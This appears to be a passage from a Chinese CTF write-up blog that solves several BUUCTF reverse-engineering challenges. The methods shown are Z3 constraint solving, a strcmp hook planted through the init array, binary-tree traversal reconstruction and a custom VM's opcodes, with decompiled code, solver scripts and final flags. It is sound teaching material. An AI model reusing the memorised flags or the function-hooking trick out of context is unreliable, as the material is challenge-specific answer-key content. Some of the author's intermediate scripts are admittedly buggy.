x, y, z = BitVecs('x y z', 8)#1、定义求解的数据类型为real有理数
s = Solver()#2、初始化一个Solver类
s.add(x ^ y & z == 12)#3、对于数据进行约束、即写方程
s.add(y & z >> 3 == 3)
s.add(z ^ y == 4)
check = s.check()#4、检测是否有解(有解sat、无解unsat)
print(check)
model = s.model()#5、取出所有结果,一个ModelRef类,
print(model)
#输出:
# sat
# [z = 27, y = 31, x = 23]

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from z3 import *
v1 = Int('v1')
v2 = Int('v2')
v3 = Int('v3')
v4 = Int('v4')
v5 = Int('v5')
v6 = Int('v6')
v7 = Int('v7')
v8 = Int('v8')
v9 = Int('v9')
v11 = Int('v11')
solve(-85 * v9 + 58 * v8 + 97 * v6 + v7 + -45 * v5 + 84 * v4 + 95 * v2 - 20 * v1 + 12 * v3 == 12613,
30 * v11 + -70 * v9 + -122 * v6 + -81 * v7 + -66 * v5 + -115 * v4 + -41 * v3 + -86 * v1 - 15 * v2 - 30 * v8 == -54400,
-103 * v11 + 120 * v8 + 108 * v7 + 48 * v4 + -89 * v3 + 78 * v1 - 41 * v2 + 31 * v5 - (v6 *64) - 120 * v9 == -10283,
71 * v6 + (v7 * 128) + 99 * v5 + -111 * v3 + 85 * v1 + 79 * v2 - 30 * v4 - 119 * v8 + 48 * v9 - 16 * v11 == 22855,
5 * v11 + 23 * v9 + 122 * v8 + -19 * v6 + 99 * v7 + -117 * v5 + -69 * v3 + 22 * v1 - 98 * v2 + 10 * v4 == -2944,
-54 * v11 + -23 * v8 + -82 * v3 + -85 * v2 + 124 * v1 - 11 * v4 - 8 * v5 - 60 * v7 + 95 * v6 + 100 * v9 == -2222,
-83 * v11 + -111 * v7 + -57 * v2 + 41 * v1 + 73 * v3 - 18 * v4 + 26 * v5 + 16 * v6 + 77 * v8 - 63 * v9 == -13258,
81 * v11 + -48 * v9 + 66 * v8 + -104 * v6 + -121 * v7 + 95 * v5 + 85 * v4 + 60 * v3 + -85 * v2 + 80 * v1 == -1559,
101 * v11 + -85 * v9 + 7 * v6 + 117 * v7 + -83 * v5 + -101 * v4 + 90 * v3 + -28 * v1 + 18 * v2 - v8 == 6308,
99 * v11 + -28 * v9 + 5 * v8 + 93 * v6 + -18 * v7 + -127 * v5 + 6 * v4 + -9 * v3 + -93 * v1 + 58 * v2 == -1697)
'''
[v1 = 48,
v6 = 95,
v2 = 70,
v4 = 82,
v11 = 64,
v3 = 117,
v5 = 84,
v9 = 119,
v8 = 55,
v7 = 121]
调整下顺序
70,48,117,82,84,95,121,55,119,64
'''

回到主函数,跟进一下sub_C50()函数

image-20230704131925142

应该是把将数字转换为对应字母

70,48,117,82,84,95,121,55,119,64对应的字母就是

1
2
3
a=[ 70,48,117,82,84,95,121,55,119,64]
for i in range(len(a)):
print(''.join(chr(a[i])),end='')

F0uRT_y7w@

在Linux下运行程序

image-20230704132841584

flag{F0uRTy_7w@_42}

32.[Zer0pts2020]easy strcmp

image-20230704211950931

打开ida,查看字符串信息

image-20230704212024363

进入关键函数

image-20230704212156520

比较这一串字符串,但是不可能这么简单

image-20230704231749265

main函数前还有这些函数,看看什么情况

image-20230704231847110

一直到sub_6EA,有这些类似加密操作的出现

但当我试图用IDA查看该函数的交叉引用,会发现提示:

Couldn’t find any xrefs!

init函数在程序加载时被调用,它负责设置程序的运行环境和执行一些必要的初始化操作。具体的功能和实现方式取决于被分析的程序。下面是一些init函数可能涉及的任务:

  1. 程序环境设置:init函数可能会设置程序的全局变量、初始化数据结构或分配内存等,以确保程序在后续执行过程中的正常运行。
  2. 库初始化:在某些情况下,程序可能依赖于外部库或模块。init函数可以用于加载这些库,并进行必要的初始化操作,以确保程序能够正确地使用这些库。
  3. 系统资源分配:init函数可能会进行系统资源的分配,例如打开文件、建立网络连接等。这些资源的初始化操作可以在init函数中完成。
  4. 全局状态初始化:init函数可能会初始化程序的全局状态,例如将全局变量设置为初始值、重置计数器等。

总之,init函数在程序加载时被调用,负责进行初始化操作,确保程序在后续执行过程中的正确运行。具体的功能和实现方式取决于程序本身的设计和要求。

fini函数是在程序即将退出时被调用的函数,它负责执行一些收尾工作。具体的功能和实现方式取决于被分析的程序。下面是一些fini函数可能涉及的任务:

  1. 资源释放:fini函数通常用于释放程序运行过程中分配的资源,如释放内存、关闭文件句柄、断开网络连接等。这样可以确保在程序退出之前,已经使用的资源都被正确地释放掉,避免资源泄漏。
  2. 数据保存:有时,fini函数还可以负责将程序运行过程中的数据保存到文件或其他存储介质中。这样可以确保在下次运行程序时,可以加载之前的状态或数据。
  3. 状态清理:fini函数可能会对程序的全局状态进行清理,例如将全局变量恢复为默认值、关闭运行时的线程等。这样可以确保程序退出时的状态是一致的。

总之,fini函数在程序即将退出时被调用,负责进行清理和释放资源的操作。具体的功能和实现方式取决于程序本身的设计和要求

所以去init函数看看

image-20230704234513363

for循环中调用了一系列的函数,而函数地址从funcs_889开始,跟入便能够发现如下内容:

image-20230704234614255

让我们看看发现了什么东西,sub_6E0,sub_795

image-20230704235315343

sub_650()里面没什么东西,看看sub_795吧

image-20230704235601505

可见,off_201028被置为sub_6EA函数地址了

image-20230704235814765

可以看到,off_2010288实际上是strcmp函数的地址,但现在它被替换成了sub_6EA

因此我们执行strcmp函数时实际上是执行sub_6EA函数,简单的hook,但是这也是我第一次接触到hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall sub_6EA(__int64 a1, __int64 a2)
{
int i; // [rsp+18h] [rbp-8h]
int v4; // [rsp+18h] [rbp-8h]
int j; // [rsp+1Ch] [rbp-4h]

for ( i = 0; *(_BYTE *)(i + a1); ++i )
;
v4 = (i >> 3) + 1; // 每8位一处理
for ( j = 0; j < v4; ++j )
*(_QWORD *)(8 * j + a1) -= qword_201060[j]; // 每8位减去一个数
return qword_201090(a1, a2);
}
; _QWORD qword_201060[5]
dq 0, 410A4335494A0942h, 0B0EF2F50BE619F0h, 4F0A3A064A35282Bh,0

shift+提取qword_201060、

unsigned char ida_chars[] =

{

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x09,

0x4A, 0x49, 0x35, 0x43, 0x0A, 0x41, 0xF0, 0x19, 0xE6, 0x0B,

0xF5, 0xF2, 0x0E, 0x0B, 0x2B, 0x28, 0x35, 0x4A, 0x06, 0x3A,

0x0A, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

};

脚本如下:

1
2
3
4
5
6
7
8
data='zer0pts{********CENSORED********}'
data2=[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x09,
0x4A, 0x49, 0x35, 0x43, 0x0A, 0x41, 0xF0, 0x19, 0xE6, 0x0B,
0xF5, 0xF2, 0x0E, 0x0B, 0x2B, 0x28, 0x35, 0x4A, 0x06, 0x3A,
0x0A, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
for i in range(len(data)):
tem=ord(data[i])+data2[i]
print(chr((tem)),end='')

zer0pts{l3ts_m4kijĴńńSOUR_t0d4y}

但是提交结果不对,后面参考了一下大佬的wp,发现没考虑到进位的问题

修改如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
data='zer0pts{********CENSORED********}'
data2=[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x09,
0x4A, 0x49, 0x35, 0x43, 0x0A, 0x41, 0xF0, 0x19, 0xE6, 0x0B,
0xF5, 0xF2, 0x0E, 0x0B, 0x2B, 0x28, 0x35, 0x4A, 0x06, 0x3A,
0x0A, 0x4F, 0x00]
f=0

for i in range(len(data)):
if f!=0:
tem = ord(data[i]) + data2[i]+f
f=0
else:
tem=ord(data[i])+data2[i]
if tem>0xff:
f=1
tem&=0xff
print(chr((tem)),end='')

但是其实还是有点问题的,如果进位是2的话,就会出问题

zer0pts{l3ts_m4k3_4_DETOUR_t0d4y}

33.[WUSTCTF2020]level4

image-20230707110724513

打开ida,进入main函数

image-20230707111133883

Data Structure code,数据结构算法,还有关键词lsft和Right,很可能是左右子树,可能是前后中序遍历

跟进type1

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall type1(char *a1)
{
__int64 result; // rax

if ( a1 )
{
type1(*((_QWORD *)a1 + 1));
putchar(*a1);
result = type1(*((_QWORD *)a1 + 2));
}
return result;
}

这个看着很像,中序遍历,因为左中右

跟进type2

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall type2(char *a1)
{
int result; // eax

if ( a1 )
{
type2(*((_QWORD *)a1 + 1));
type2(*((_QWORD *)a1 + 2));
result = putchar(*a1);
}
return result;
}

很像后序遍历

type3给注释掉了,main函数暂时没什么有用的信息了,但是前面还有个init函数没有跟进,跟进看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 init()
{
int i; // [rsp+Ch] [rbp-34h]
char v2[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
strcpy(v2, "I{_}Af2700ih_secTS2Et_wr");
for ( i = 0; i <= 23; ++i )
x[24 * i] = v2[i];
qword_601298 = (__int64)&unk_6011E8;
qword_6011F0 = (__int64)&unk_601260;
qword_601268 = (__int64)&unk_6010F8;
qword_601100 = (__int64)&unk_601110;
qword_601108 = (__int64)&unk_601140;
qword_601270 = (__int64)&unk_601230;
qword_601238 = (__int64)&unk_601158;
qword_601240 = (__int64)&unk_601098;
qword_6010A0 = (__int64)&unk_601200;
qword_6010A8 = (__int64)&unk_601188;
qword_6011F8 = (__int64)&unk_601170;
qword_601178 = (__int64)&unk_6011B8;
qword_601180 = (__int64)&unk_6010B0;
qword_6010B8 = (__int64)x;
qword_6010C0 = (__int64)&unk_601218;
qword_6012A0 = (__int64)&unk_601278;
qword_601280 = (__int64)&unk_6010E0;
qword_601288 = (__int64)&unk_6011A0;
qword_6011B0 = (__int64)&unk_601128;
qword_601130 = (__int64)&unk_6012A8;
qword_601138 = (__int64)&unk_6011D0;
qword_6011D8 = (__int64)&unk_601248;
qword_6011E0 = (__int64)&unk_6010C8;
return __readfsqword(0x28u) ^ v3;
}

所以说这里已经出现了类似flag的字符串,中序和后序遍历给出了,应该是求type3的前序遍历,手写也可以,但是还是找了个脚本,,脚本小子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char post[] = "20f0Th{2tsIS_icArE}e7__w"; //后序遍历结果
char mid[] = "2f0t02T{hcsiI_SwA__r7Ee}"; //中序遍历结果

void f(int root,int start,int end)
{
if(start > end)
return ;
int i = start;
while(i < end && mid[i] != post[root])
i++; //定位根在中序的位置
printf("%c",mid[i]);
f(root - 1-(end - i),start,i - 1); //递归处理左子树
f(root-1,i + 1,end); //递归处理右子树
}

int main()
{

f(24,0,24);
return 0;
}

wctf2020{This_IS_A_7reE}

34.[网鼎杯 2020 青龙组]singal

image-20230708105905281

打开ida,这里打开ida看到了这个弹窗

image-20230708110316248

不知道什么是DWARF,chat了一下

DWARF(Debugging With Attributed Record Formats)是一种用于调试信息的标准格式。它是一种用于描述程序的调试信息的规范,旨在帮助开发人员在程序编译后进行调试和分析。

在软件开发过程中,编译器会将源代码转换为机器代码,并且还会生成与之关联的调试信息。这些调试信息包括变量名、函数名、源代码行号等,用于在调试器中定位和理解代码的执行过程。

DWARF规范定义了调试信息的结构和编码方式,以及如何将调试信息与编译后的二进制文件相关联。调试器可以读取这些DWARF调试信息,以便在调试过程中提供有关程序状态和执行上下文的详细信息。

DWARF提供了一种通用的调试信息格式,可用于多种编程语言和体系结构。它支持各种调试功能,如查看堆栈跟踪、变量检查、源代码级别的断点设置等。

总而言之,DWARF是一种用于描述程序的调试信息的标准格式,它在软件开发中扮演着关键的角色,帮助开发人员进行程序调试和分析。

了解一下就行了,接着看程序吧

image-20230708110443887

跟进一下__main()函数

1
2
3
4
5
6
7
8
void __main()
{
if ( !initialized )
{
initialized = 1;
__do_global_ctors();
}
}

跟进__do_global_ctors();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __do_global_ctors()
{
func_ptr i; // ebx

i = __CTOR_LIST__[0];
if ( __CTOR_LIST__[0] == (func_ptr)-1 )
{
for ( i = 0; __CTOR_LIST__[(_DWORD)i + 1]; i = (func_ptr)((char *)i + 1) )
;
}
for ( ; i; i = (func_ptr)((char *)i - 1) )
__CTOR_LIST__[(_DWORD)i]();
atexit(__do_global_dtors);
}

看起来是对这个程序做了某种初始化操作吧,看不太明白,查看字符串信息,运行程序有一个字符串string,看看这个函数

image-20230708111357208

说明flag长度是15

回到主函数,这里有一个qmemcpy,因为vm_operad用到了v4,看看给v4赋值了什么,这里赋值长度是从

image-20230708111920795

403040+1c8=40 3208

选中,shitf+e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
unsigned char ida_chars[] =
{
0x0A, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x05, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00,
0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x05, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x21, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x20, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x51, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00,
0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x0C, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x0B, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x08, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x20, 0x00,
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00,
0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x20, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x41, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x0C, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x22, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x3F, 0x00,
0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x07, 0x00,
0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x33, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x18, 0x00,
0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xA7, 0xFF, 0xFF, 0xFF,
0x07, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x07, 0x00,
0x00, 0x00, 0xF1, 0xFF, 0xFF, 0xFF, 0x07, 0x00, 0x00, 0x00,
0x28, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x84, 0xFF,
0xFF, 0xFF, 0x07, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xFF,
0x07, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x07, 0x00,
0x00, 0x00, 0x7A, 0x00, 0x00, 0x00, 0x00
};

这里的赋值,因为v4是int类型,四字节一个数,而且由于是小端存储,比如0x0A,0x00,0x00,0x00应该是0x00,0x00,0x00,0x0A,所以就是10

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
a=[  0x0A, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x10, 0x00, 
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x05, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00,
0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x05, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x21, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x20, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x51, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00,
0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x0C, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x0B, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x08, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x20, 0x00,
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00,
0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x20, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x41, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x0C, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x22, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x3F, 0x00,
0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x07, 0x00,
0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x33, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x18, 0x00,
0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xA7, 0xFF, 0xFF, 0xFF,
0x07, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x07, 0x00,
0x00, 0x00, 0xF1, 0xFF, 0xFF, 0xFF, 0x07, 0x00, 0x00, 0x00,
0x28, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x84, 0xFF,
0xFF, 0xFF, 0x07, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xFF,
0x07, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x07, 0x00,
0x00, 0x00, 0x7A, 0x00, 0x00, 0x00, 0x00]
#获得逆序,这里会直接变成10进制
#print(a[::-1])
b=a[::-1]
for i in b:
if i!=0:
print(i,',',end='')
'''
122 ,7 ,30 ,7 ,255 ,255 ,255 ,193 ,7 ,255 ,255 ,255 ,132 ,7 ,40 ,7 ,255 ,255 ,255 ,241 ,7 ,49 ,7 ,255 ,255 ,255 ,167 ,7 ,24 ,7 ,51 ,7 ,114 ,7 ,50 ,7 ,52 ,7 ,63 ,7 ,34 ,7 ,1 ,12 ,8 ,65 ,2 ,1 ,32 ,3 ,8 ,9 ,4 ,1 ,37 ,2 ,8 ,3 ,5 ,1 ,1 ,5 ,8 ,32 ,2 ,1 ,65 ,4 ,8 ,54 ,2 ,1 ,37 ,2 ,8 ,2 ,5 ,1 ,11 ,8 ,12 ,1 ,36 ,4 ,8 ,81 ,2 ,1 ,32 ,3 ,8 ,9 ,4 ,1 ,11 ,8 ,11 ,1 ,33 ,3 ,8 ,3 ,5 ,1 ,4 ,4 ,8 ,12 ,1 ,11 ,8 ,2 ,3 ,1 ,3 ,5 ,8 ,32 ,4 ,1 ,5 ,3 ,8 ,16 ,4 ,10
'''

回到main函数,跟进vm_operad,传入了v4数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
int __cdecl vm_operad(int *a1, int a2)
{
int result; // eax
char v3[200]; // [esp+13h] [ebp-E5h] BYREF
char v4; // [esp+DBh] [ebp-1Dh]
int v5; // [esp+DCh] [ebp-1Ch]
int v6; // [esp+E0h] [ebp-18h]
int v7; // [esp+E4h] [ebp-14h]
int v8; // [esp+E8h] [ebp-10h]
int v9; // [esp+ECh] [ebp-Ch]

v9 = 0;
v8 = 0;
v7 = 0;
v6 = 0;
v5 = 0;
while ( 1 )
{
result = v9;
if ( v9 >= a2 )
return result;
switch ( a1[v9] )
{
case 1:
v3[v6 + 100] = v4;
++v9;
++v6;
++v8;
break;
case 2:
v4 = a1[v9 + 1] + v3[v8];
v9 += 2;
break;
case 3:
v4 = v3[v8] - LOBYTE(a1[v9 + 1]);
v9 += 2;
break;
case 4:
v4 = a1[v9 + 1] ^ v3[v8];
v9 += 2;
break;
case 5:
v4 = a1[v9 + 1] * v3[v8];
v9 += 2;
break;
case 6:
++v9;
break;
case 7:
if ( v3[v7 + 100] != a1[v9 + 1] )
{
printf("what a shame...");
exit(0);
}
++v7;
v9 += 2;
break;
case 8:
v3[v5] = v4;
++v9;
++v5;
break;
case 10:
read(v3);
++v9;
break;
case 11:
v4 = v3[v8] - 1;
++v9;
break;
case 12:
v4 = v3[v8] + 1;
++v9;
break;
default:
continue;
}
}
}

这里大概知道了,v8,v9,v6是用来进行v4与v3赋值的,v3就是我们输入的flag,v8,v9,v6都初始化为0,Switch函数中是对a1数组中的值,这个函数名也告诉我们应该是vm逆向,就是虚拟机逆向

自己定义一套指令,在程序中能有一套函数和结构解释自己定义的指令并执行功能。

这些Switch就是指令集的选择了只有当选择7的时候,输入的flag才会和v4数组里面数为7的下一位进行比较

先筛选出来:

1
2
3
4
5
6
7
8
9
10
a=[122 ,7 ,30 ,7 ,255 ,255 ,255 ,193 ,7 ,255 ,255 ,255 ,132 ,7 ,40 ,7 ,255 ,255 ,255 ,241 ,7 ,49 ,7 ,255 ,255 ,255 ,167 ,7 ,24 ,7 ,51 ,7 ,114 ,7 ,50 ,7 ,52 ,7 ,63 ,7 ,34 ,7 ,1 ,12 ,8 ,65 ,2 ,1 ,32 ,3 ,8 ,9 ,4 ,1 ,37 ,2 ,8 ,3 ,5 ,1 ,1 ,5 ,8 ,32 ,2 ,1 ,65 ,4 ,8 ,54 ,2 ,1 ,37 ,2 ,8 ,2 ,5 ,1 ,11 ,8 ,12 ,1 ,36 ,4 ,8 ,81 ,2 ,1 ,32 ,3 ,8 ,9 ,4 ,1 ,11 ,8 ,11 ,1 ,33 ,3 ,8 ,3 ,5 ,1 ,4 ,4 ,8 ,12 ,1 ,11 ,8 ,2 ,3 ,1 ,3 ,5 ,8 ,32 ,4 ,1 ,5 ,3 ,8 ,16 ,4 ,10 ]
c=a[::-1]
b=[]
for i in range(0,len(a)):
if c[i]==7:
b.append(c[i+1])
print(b)


#[34, 63, 52, 50, 114, 51, 24, 167, 49, 241, 40, 132, 193, 30, 122]

这里之所以要逆序回来,是因为内存中的处理好像没有逆序,这里算是一个知识盲点吧,不太清楚,是看了其他师傅的wp,这个15位数组应该就是我们输入的flag了,分支2,3,4,5,11,12就是对输入flag的加密,然后分支1和8对v3进行

这里面有个LOBYTE这个函数,做的时候我去百度了有说是取最右边那位,有说右边四位,没有统一的说法,找了其他师傅的wp,说这是ida的函数,可以忽略这个函数

脚本参考了一下这两个师傅的wp

[原创]2020网鼎杯青龙组_re_signal-软件逆向-看雪-安全社区|安全招聘|kanxue.com

[(117条消息) BUUCTF_网鼎杯 2020 青龙组]singal_buuctf [网鼎杯 2020 青龙组]singal_45149832的博客-CSDN博客

根据opcode分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
10L, //输入
4L, 16L, 8L, 3L, 5L, 1L, // 1次运算
4L, 32L, 8L, 5L, 3L, 1L,
3L, 2L, 8L, 11L, 1L,
12L, 8L, 4L, 4L, 1L,
5L, 3L, 8L, 3L, 33L, 1L,
11L, 8L, 11L, 1L,
4L, 9L, 8L, 3L, 32L, 1L,
2L, 81L, 8L, 4L, 36L, 1L,
12L, 8L, 11L, 1L,
5L, 2L, 8L, 2L, 37L, 1L,
2L, 54L, 8L, 4L, 65L, 1L,
2L, 32L, 8L, 5L, 1L, 1L,
5L, 3L, 8L, 2L, 37L, 1L,
4L, 9L, 8L, 3L, 32L, 1L,
2L, 65L, 8L, 12L, 1L, // 刚好15次计算

7L, 34L, 7L, 63L, 7L, 52L, 7L, 50L, 7L, 114L, 7L, 51L, 7L, 24L, 7L, 4294967207L, 7L, 49L, 7L, 4294967281L, 7L, 40L, 7L, 4294967172L, 7L, 4294967233L, 7L, 30L, 7L, 122L// 这些是在验证v4

每一轮的操作如下,这里省略了操作数下标的增加,以及最后case1的赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
//v4[0] = (a1[2] ^ v3[0]) - LOBYTE(a1[5]); -> v3[0] = (v4[0] + LOBYTE(a1[5])) ^ a1[2];
v5 = a1[2] ^ v3[0];
